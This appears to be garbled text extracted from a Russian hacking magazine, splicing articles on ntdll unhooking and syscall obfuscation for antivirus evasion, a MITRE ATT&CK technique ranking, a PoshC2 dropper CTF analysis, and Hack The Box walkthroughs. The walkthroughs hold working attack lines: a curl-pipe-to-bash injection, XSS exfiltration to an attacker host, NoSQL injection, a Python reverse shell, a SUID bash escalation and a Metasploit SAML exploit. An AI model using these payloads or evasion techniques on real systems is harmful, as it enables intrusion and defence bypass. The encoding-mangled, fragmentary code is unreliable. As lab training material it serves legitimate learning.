#include <algorithm>
#include <string>
#define FIXED_URL L"https://msdl.microsoft.com/download/symbols/
ntdll.dll/"
*ppNtdllBuf = pNtdllBuffer;
return TRUE;
}
while (TRUE) {
if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &
dwBytesRead)) {
printf("[!] InternetReadFile Failed With Error : %d \n",
GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
sSize += dwBytesRead;
if (pBytes == NULL)
pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
else
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE
| LMEM_ZEROINIT);
if (pBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes,
dwBytesRead);
*pNtdllBuffer = pBytes;
*sNtdllSize = sSize;
_EndOfFunction:
if (hInternet)
InternetCloseHandle(hInternet);
if (hInternetFile)
InternetCloseHandle(hInternetFile);
if (hInternet)
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED,
NULL, 0);
if (pTmpBytes)
LocalFree(pTmpBytes);
return bSTATE;
}
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +
pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
1024);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
}
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());
return FALSE;
}
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());
return FALSE;
}
return TRUE;
}
Этот способ, думаю, самый удобный. Его главный недостаток в том, что тре-
буется доступ в интернет со скомпрометированного хоста.
Полный код реализации для твоих собственных экспериментов я также
прикладываю:
• NtdllFromWEbsite.cpp — подгрузка с winbindex.m417z.com;
• NTDLLReection — подгрузка с иного ресурса, ты должен будешь сам под-
нять веб-сервер.
ÂÛÂÎÄÛ
Помни, что анхукинг — это не более чем один из множества способов обхода
хуков. Причем умные антивирусы умеют восстанавливать хуки, если обна-
руживают, что кто-то их снял. На любое действие найдется противодействие,
но в данном случае это приглашение к новому действию!
ВЗЛОМ
СОСТАВЛЯЕМ РЕЙТИНГ
САМЫХ ПОПУЛЯРНЫХ
ХАКЕРСКИХ АТАК
2019 ãîä
Начать стоит с того, что ключевая проблема здесь не только в ничтожной
выборке из единственного отчета, но и в изменении MITRE ATT&CK за это
время. Дело в том, что, как любой «живой» проект, матрица постоянно
обновляется и с 2019 года сменила не одну версию. В результате мне приш-
лось руками перемапить «старые» техники в «новые», а это в том числе пов-
лияло на сокращение рейтинга с десяти позиций до восьми. Нам интересен
этот топчик в первую очередь как отправная точка для дальнейших иссле-
дований. Итак, самые популярные техники 2019 года:
1. T1059 Command and Scripting Interpreter;
2. T1218 System Binary Proxy Execution;
3. T1090 Proxy;
4. T0865 Spearphishing Attachment;
5. T1036 Masquerading;
6. T1003 OS Credential Dumping;
7. T1547 Boot or Logon Autostart Execution;
8. T1569 System Services.
На что здесь стоит обратить внимание, так это на технику T0865 Spearphishing
Attachment, которая была популярна у крайне активных на тот момент груп-
пировок Carbanak и FIN7, а также в рамках других целевых кампаний, доля
которых, по мнению ряда исследователей, в 2019 году стала превалирующей.
В последующие годы эта техника также будет присутствовать на радарах,
но уже за пределами агрегированных топ-10.
2020 ãîä
На следующий год хит-парад немного изменился:
1. T1055 Process Injection;
2. T1574 Hijack Execution Flow;
3. T1059 Command and Scripting Interpreter;
4. T1053 Scheduled Task/Job;
5. T1562 Impair Defenses;
6. T1134 Access Token Manipulation;
7. T1021 Remote Services;
8. T1003 OS Credential Dumping;
9. T1036 Masquerading;
10. T1083 File and Directory Discovery.
2021 ãîä
Рейтинг 2021 года выглядит следующим образом:
1. T1059 Command and Scripting Interpreter;
2. T1027 Obfuscated Files or Information;
3. T1218 System Binary Proxy Execution;
4. T1055 Process Injection;
5. T1555 Credentials from Password Stores;
6. T1543 Create or Modify System Process;
7. T1083 File and Directory Discovery;
8. T1486 Data Encrypted for Impact;
9. T1053 Scheduled Task/Job;
10. T1547 Boot or Logon Autostart Execution.
2022 ãîä
В 2022 году представлен расширенный топ-20, поскольку это самый интерес-
ный для нас год и данных было достаточно для составления развернутого
рейтинга.
1. T1059 Command and Scripting Interpreter;
2. T1082 System Information Discovery;
3. T1036 Masquerading;
4. T1003 OS Credential Dumping;
5. T1071 Application Layer Protocol;
6. T1218 System Binary Proxy Execution;
7. T1083 File and Directory Discovery;
8. T1588 Obtain Capabilities;
9. T1047 Windows Management Instrumentation;
10. T1486 Data Encrypted for Impact;
11. T1190 Exploit Public-Facing Application;
12. T1566 Phishing;
13. T1055 Process Injection;
14. T1021 Remote Services;
15. T1098 Account Manipulation;
16. T1105 Ingress Tool Transfer;
17. T1110 Brute Force;
18. T1547 Boot or Logon Autostart Execution;
19. T1112 Modify Registry;
20. T1505 Server Software Component.
Здесь есть как уже знакомые нам «лица», так и новички. Например, на втором
месте техника T1082 System Information Discovery, которая позволяет ата-
кующему не только грамотно развить кибератаку, но и собрать данные
на будущее, что не может не настораживать.
Отметим технику T1190 Exploit Public-Facing Application, занявшую 11-е
место, но лидирующую на стадии Initial Access в 2022-м.
Теперь можно посмотреть динамику изменений в топ-10 за четыре года
на условной тепловой карте, где более «горячие» техники — это соответству-
ющие лидеры.
ÄÅÒÀËÜÍÅÅ Î ËÈÄÅÐÀÕ
T1036 Masquerading
В номенклатуре ФСТЭК России эта техника ближе всего к следующей: «Т7.12.
Манипуляции именами и параметрами запуска процессов и приложений
для обеспечения скрытности».
Техника включает семь субтехник, но массовый характер носят сле-
дующие: T1036.003, T1036.004 и T1036.005. Разница заключается в объектах,
с которыми атакующий производит манипуляции, точнее, в их наименованиях:
• T1036.003: законные системные утилиты, в том числе из предыдущей тех-
ники T1218 System Binary Proxy Execution;
• T1036.004: нелегитимные задачи и сервисы, маскирующиеся под легитим-
ные;
• T1036.005: имена вредоносных файлов или путей к ним, совпадающие
с легитимными именами или путями.
РАЗБИРАЕМ
ПОСЛЕДСТВИЯ
ЗАРАЖЕНИЯ
ДРОППЕРОМ POSHC2
ÈÇÓ×ÀÅÌ ÀÐÒÅÔÀÊÒÛ
Полученные PNG
$PTF = "C:\Users\Antony\Desktop\C2Interstellar_HTB\C
2_Interstellar_CTF_Task\WShark 2\9
4974f08-5853-41ab-938a-ae1bd86d8e51"
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.
FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::
Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.
CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.
Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Set-Content -Path "C:\Users\Antony\Desktop\C2Interstellar_HTB
\C2_Interstellar_CTF_Task\tmp7102591.exe" -Encoding Byte
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÎÁÂÅØÈÂÀÅÌÑß ÁÐßÊÀÌÈ
SharpSploit.dll
В заголовке видим PNG, а также что после окончания PNG идут другие дан-
ные.
ÏÈØÅÌ ÄÅÊÐÈÏÒÎÐ
using System;
using System.IO.Compression;
using System.Security.Cryptography;
using System.Text;
namespace Decryptor
{
public class Program
{
static void Main(string[] args)
{
var cmd = File.ReadAllBytes("C:\\Users\\Antony\\Desktop\\
C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\
%3fdVfhJmc2ciKvPOC(23).png");
string key = "nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=";
var text = Program.Decryption(key, cmd).Replace("\0", string
.Empty);
}
За кропотливую работу нас ждет награда в виде флага, который был ответом
на это интересное задание.
Флаг
ÂÛÂÎÄÛ
ÑÒÀÂÈÌ ÖÅËÈ
ÂÛÁÈÐÀÅÌ ÒÅÌÓ
Пример того, как алгоритмы могут быть источником идей для объеди-
нения нескольких областей в одно исследовательское направление
ÔÎÐÌÓËÈÐÓÅÌ ÒÅÌÓ
ÏÐÎÂÎÄÈÌ ÈÑÑËÅÄÎÂÀÍÈß
State of the art (SOTA) — метод обзора больших объемов литературы, который
позволяет изучить, почему и как развивались наши текущие знания, и пред-
ложить новые направления исследований. Метод хорошо описан в статье
«State-of-the-art literature review methodology: A six-step approach for knowledge
synthesis».
Обзор, проведенный методом SOTA, дает ответы на три вопроса:
1. Где мы находимся сейчас?
2. Как мы сюда попали?
3. Куда можно двигаться дальше?
Если у тебя уже есть идеи, то приступай к разделу 4. Чем быстрее ты поймешь
состоятельность своего подхода, метода и системы исследования, тем быс-
трее сформулируешь ценность работы. Затем сможешь оценить уникаль-
ность предложенной тобой идеи при подготовке раздела 3. И не начинай
писать текст работы с введения. Лирику оставишь на заключительный этап.
Как только в работе появились результаты, доказывающие состоятель-
ность твоей идеи, уже можно готовить аннотацию (abstract). Это короткое (от
одного до трех абзацев текста) описание работы, дающее полное представ-
ление о цели и результатах твоего проекта.
Результаты исследования получены. Абстракт подготовлен. Теперь тебе
нужно выбрать конференцию или митап и адаптировать аннотацию иссле-
дования в соответствии с требованиями выбранного мероприятия. Изучи
информацию о требованиях организаторов к подаче заявок, обычно они пуб-
ликуются на отдельной странице.
Как выбрать конференцию, чтобы и тема твоей работы подходила, и бюд-
жет на путешествие был доступен? Можно начать с изучения ресурса
cfptime.org.
В первую очередь поддержи свое локальное сообщество. Иногда мес-
тные мероприятия могут быть интереснее и теплее, чем международные
и глобальные тусовки. Об этом я уже рассказывал в другом выпуске колонки.
Выбирай местную конференцию. Участвуй, собирай отзывы, затем совер-
шенствуй свое исследование и подавай заявку на участие в мероприятии
побольше. Исследуй, выступай, обновляй, повторяй.
Как подготовить хорошую заявку на доклад? Лучше узнать у опытных чле-
нов комиссии, которая рассматривает заявки. К примеру, организаторы кон-
ференции Security Analysts Summit посвятили целый тред подготовке качес-
твенного абстракта.
Почему участники должны посетить именно твой доклад? Запиши ответ.
Найди опытного члена комиссии, который может дать ценный совет
по поводу твоего доклада или хотя бы текста заявки.
И напоследок: определи стратегическую цель своего исследования. При-
мер плохой постановки цели: «получение и совершенствование навыков экс-
плуатации XSS». Хорошая цель: «обнаружить результаты воздействия XSS
в системах, которые ранее не подвергались XSS-атакам». То есть во втором
случае — синтез старой проблемы с новым контекстом.
Если твое исследование выявило проблему, помни об ответственности.
Опиши решение, дай рекомендации, помоги всем заинтересованным сто-
ронам. Ты делаешь проект не для того, чтобы еще раз показать, что этот мир
несовершенен.
«Прежде всего — не навреди».
ВЗЛОМ
ЭКСПЛУАТИРУЕМ БАГ
В ПРИЛОЖЕНИИ НА PYTHON,
ЧТОБЫ ЗАХВАТИТЬ ВЕБ-СЕРВЕР
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.208 busqueda.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
На сайте находим пометку Powered by, которая указывает, что мы имеем дело
с чем-то под названием Searchor 2.4.0.
ÒÎ×ÊÀ ÎÏÎÐÛ
Открываем коммит, в котором была исправлена уязвимость, и изучаем изме-
нения.
Выполнение команды id
'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system(
"curl+http%3a//10.10.14.99/rs|bash")','','single'))%2b'
Флаг пользователя
ÏÐÎÄÂÈÆÅÍÈÅ
Теперь нам необходимо собрать информацию. Я буду использовать для это-
го скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Загрузим на хост скрипт для Linux. Для этого в pwncat-cs используем ком-
бинацию клавиш Ctrl-D (выход в главное меню) и команду upload для заг-
рузки файла. Затем возвращаемся в шелл командой back, даем право
на выполнение нашему скрипту (chmod +x linpeas.sh) и запускаем ска-
нирование. В выводе будет очень много информации, поэтому отберем толь-
ко значимую.
В файле /etc/hosts отмечаем запись gitea.searcher.htb.
Среди прослушиваемых портов находим порт для службы MySQL (порт 3306)
и Gitea (3000).
Прослушиваемые порты
sudo -l
Настройки sudoers
127.0.0.1 gitea.searcher.htb
Теперь нужно будет пробросить порт 3000 на свой хост с помощью SSH.
Доступные репозитории
#!/bin/bash
chmod +s /bin/bash
/opt/scripts/system-checkup.py full-checkup
Эксплуатация уязвимости
/bin/bash -p
Флаг рута
ЭКСПЛУАТИРУЕМ NOSQL-
ИНЪЕКЦИЮ ЧЕРЕЗ ЦЕПОЧКУ
УЯЗВИМОСТЕЙ XSS И SSRF
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.209 mailroom.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
XSS
На сайте есть форма связи с администратором. Проверяем, нет ли тут уяз-
вимости XSS, и в ответ приходит ссылка на страницу с сообщением.
Ñêàíèðîâàíèå âåá-êîíòåíòà
Сканирование каталогов ничего не дало, поэтому переходим к сканированию
поддоменов. Новые сайты откроют новую область для тестирования, а следс-
твенно, и больше потенциальных точек входа.
Запускаем перебор:
Так находим еще один сайт git.mailroom.htb. Давай обновим запись в фай-
ле /etc/hosts и просмотрим сайт.
Нас встречает платформа Gitea, аналог GitHub для установки на свой сервер.
Gitea
Посмотрим, какие есть репозитории и пользователи.
Нам доступен всего один проект — staffroom. Файлы из него тоже нужно
проанализировать.
Баннер веб-сервера
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÒÎ×ÊÀ ÎÏÎÐÛ
XSS
Мы уже нашли уязвимость XSS, теперь нужно ее раскрутить. Выложим на свой
веб-сервер файл, который будет содержать код JavaScript, в качестве теста
выполняющий запрос на наш сервер.
fetch("http://10.10.14.119/xss_test");
А в отправляемой нагрузке будем указывать этот файл как источник кода бло-
ка script.
<script src="http://10.10.14.119/expl.js"></script>
Логи веб-сервера
XSS + SSRF
Теперь попробуем эксфильтровать главную страницу закрытого сайта.
Для этого в исполняемом коде на JavaScript будем запрашивать удаленный
сайт, а ответ сервера будем кодировать в Base64 и передавать в качестве
параметра при втором запросе на свой сервер.
Логи веб-сервера
Форма авторизации
Ответ сервера
Ответ сервера
Логи веб-сервера
Логи веб-сервера
Логи веб-сервера
xhr.send("email=$$ristan@mailroom.htb&password[$ne]=toto");
Логи веб-сервера
xhr.send("email=tristan@mailroom.htb&password[$regex]=.{1}");
...
xhr.send("email=tristan@mailroom.htb&password[$regex]=.{20}");
Логи веб-сервера
xhr.send("email=tristan@mailroom.htb&password[$regex]=.*$$");
Логи веб-сервера
Сессия пользователя
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÏÐÎÄÂÈÆÅÍÈÅ
Ñëóæáà www-data
Теперь нам необходимо собрать информацию. Я буду использовать для это-
го скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Таким образом весь трафик, который мы пошлем на локальный порт 80, будет
туннелирован на порт 80 указанного хоста (в данном случае 127.0.0.1) через
SSH-хост. Обновим запись в файле /etc/hosts и откроем сайт.
127.0.0.1 staff-review-panel.mailroom.htb
Сообщение о 2FA
cat /var/mail/tristan
python3 -m http.server 88
curl http://10.10.14.71:88/test_rce
Логи веб-сервера
Ïîëüçîâàòåëü matthew
В исходниках сайта есть каталог .git. Мы знаем, что используется сервис
Gitea, а значит, в файле config могут быть учетные данные для этой системы.
Флаг пользователя
Флаг рута
Машина захвачена!
ВЗЛОМ
Поможет мне в этом тренировочная машина Agile с площадки Hack The Box.
Уровень ее сложности — средний.
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.203 agile.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Нас встречает стартовая страница Nginx, а это значит, что основной сайт рас-
положен либо в другом каталоге, либо на другом домене. Попробуем его
найти, для этого просканируем каталоги с помощью feroxbuster.
ÒÎ×ÊÀ ÂÕÎÄÀ
На сайте есть возможность зарегистрироваться и авторизоваться. Сделаем
это, чтобы расширить область тестирования.
Форма авторизации
Страница vault
Экспорт паролей
Burp History
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÒÎ×ÊÀ ÎÏÎÐÛ
LFI
Первым делом, когда обнаруживаем LFI, нужно проверить все файлы,
которые могут содержать интересную информацию. На GitHub можно найти
много таких словарей, а перебирать по ним будем с помощью Burp Intruder.
/app/app/superpass/views/vault_views.py
Моей первой идеей было получить SECRET_KEY от Flask, чтобы можно было
вручную генерировать идентификаторы сессии других пользователей
и получать сохраненные пароли. Но в этом случае секретный ключ Flask
не был явно задан.
Flask Werkzeug
При регистрации и авторизации можно добиться ошибки Flask, что дает нам
возможность запросить дебаг-консоль Werkzeug. Но проблема в том, что она
защищена девятизначным PIN-кодом.
Консоль Werkzeug
Тут нам и пригодится уязвимость LFI, так как, имея доступ к некоторым
параметрам системы, можно рассчитать PIN с помощью скрипта из статьи
Бена Грюэла. Часть параметров у нас уже есть:
• имя пользователя, от имени которого работает приложение, — www-data;
• название модуля — обычно flask.app или werkzeug.debug;
• название приложения — тоже берем из скрипта wsgi_app,
это DebuggedApplication или Flask;
• путь к приложению Flask — /app/venv/lib/python3.10/site-
packages/flask/app.py.
Преобразованное значение
ed5b159560f54721827644bc9b220d00superpass.service
import hashlib
import itertools
from itertools import chain
h = hasher
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size,
'0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
if __name__ == '__main__':
usernames = ['www-data']
modnames = ['flask.app', 'werkzeug.debug']
appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.
py']
nodeuuids = ['345052368982']
machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']
__import__('os').popen('id').read();
Консоль Werkzeug
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.54",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü corum
Наше приложение использует базу данных, а значит, скорее всего, и пароли
тоже хранит в ней. Попробуем найти учетные данные для подключения к БД.
В исходниках ничего найти не удалось, но это не проблема, так как у нас есть
доступ к консоли отладчика приложения. Сначала найдем главный файл при-
ложения app.py в модуле wsgi_app.
show tables;
Флаг пользователя
Ïîëüçîâàòåëü edwards
Чтобы повысить привилегии, нужно первым делом собрать информацию. Я,
как обычно, прибегну к скриптам PEASS.
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Дерево процессов
Это дает нам вектор атаки. Если у Google Chrome активна удаленная отладка,
значит, можно с помощью другого браузера Chrome подключиться к порту
отладчика и получать все доступные данные. Это позволит как бы «подсмат-
ривать» за пользователем. Но первым делом организуем SSH-туннель так,
чтобы весь трафик, который мы пошлем на локальный порт 41829, был тун-
нелирован на порт 41829 указанного хоста (в данном случае 127.0.0.1) через
SSH.
Добавление хоста
Информация о подключениях
sudo -l
Настройки sudoers
Редактирование файла
/bin/bash -p
Флаг рута
Машина захвачена!
ВЗЛОМ
ЗАХВАТЫВАЕМ КОНТРОЛЛЕР
ДОМЕНА WINDOWS ЧЕРЕЗ БАГ
SAML SSO
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.205 cerberus.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Сканер нашел всего один открытый порт! Это порт 8080, на котором работает
веб-сервер Apache 2.4.52. При этом в заголовке http-title сразу отоб-
ражен редирект на домен icinga.cerberus.local, который мы добавляем
в файл /etc/hosts.
ÒÎ×ÊÀ ÂÕÎÄÀ
Первым делом нужно поискать существующие эксплоиты для найденной сис-
темы. Мне удалось выйти на блог, где описаны уязвимости для Icinga Web 2.
И первое, что привлекает внимание, — это баг, позволяющий читать про-
извольные файлы на хосте.
http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/hosts
http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/icingaweb2/config.ini
http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/icingaweb2/resources.ini
ÒÎ×ÊÀ ÎÏÎÐÛ
Теперь у нас есть доступ к сайту, и можно перейти к другой описанной в том
же ресерче уязвимости CVE-2022-24715. Аутентифицированные пользовате-
ли с доступом к настройкам фреймворка могут создавать файлы ресурсов
SSH в непредусмотренных каталогах, что приводит к выполнению произволь-
ного кода. Уязвимость заключается в неправильной проверке переданной
строки в коде на PHP. Если использовать null-байт, то при проверке он будет
учтен и строка получится обрезанной, но в момент записи в файл null-байт
не будет учитываться, что приведет к записи дополнительных данных.
Описание уязвимости
Перед тем как пытаться воспроизвести эти действия вручную, можно пос-
мотреть, нет ли в интернете готового кода, который автоматизирует этот
сложный процесс. Первая ссылка на GitHub приводит к рабочему эксплоиту.
Но прежде чем пускать его в ход, мы должны сгенерировать SSH-ключ.
Сессия в pwncat-cs
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Дерево процессов
Профили AppArmor
firejail --join=35256
ÏÐÎÄÂÈÆÅÍÈÅ
Демон SSSD может кешировать учетные данные в локальной базе данных.
strings /var/lib/sss/db/cache_cerberus.local.ldb
В выводе видим хеш пароля пользователя, этот хеш нам предстоит переби-
рать. Но первым делом с помощью справки hashcat определим его тип.
Справка hashcat
Флаг пользователя
Проверим, что расположено на порте 9251, для чего немного изменим тун-
нель chisel. Для доступа к хосту будем использовать туннель Socks, а для дос-
тупа к внутреннему порту будем прокидывать этот порт.
Сообщение на сайте
proxychains -q msfconsole
use manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
set RHOST 127.0.0.1
set RPORT 9251
set LHOST 10.10.14.56
exploit
Эксплуатация уязвимости
Флаг рута
Машина захвачена!
КОДИНГ
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion
!= 0xA)
return 0x1;
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)
pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &
Table.NtAllocateVirtualMemory))
return 0x1;
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
...
mov r10,rcx
mov rcx,<syscall number>
Опкоды
B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00
Номер сискола
Dead Codes
...
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
Hash- и SEED-значения
#include <Windows.h>
#include <stdio.h>
#define SEED 0xEDB88320
#define STR "_CRC32"
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
Новые хеши
ÈÇÌÅÍÅÍÈÅ GETVXTABLEENTRY
}NTDLL_CONFIG, *PNTDLL_CONFIG;
BOOL InitNtdllConfigStructure() {
// Получение PEB
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;
// Получение DOS-хедера
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// Получение NT-заголовков
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule +
pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// Проверка
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !
g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !
g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}
}NT_SYSCALL, *PNT_SYSCALL;
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
if (HASH(pcFuncName) == dwSysHash) {
pNtSys->pSyscallAddress = pFuncAddress;
WORD cw = 0;
while (TRUE) {
cw++;
}
break;
}
}
Неизмененный код
Измененный код
0x4c 0x8b 0xd1 [ВОТ ТУТ ПОИСК ЛОМАЕТСЯ] 0xb9 ... 0x00 0x00
Увеличивающиеся SSN
Таким образом, зная номер сискола одной функции, можно без проблем дос-
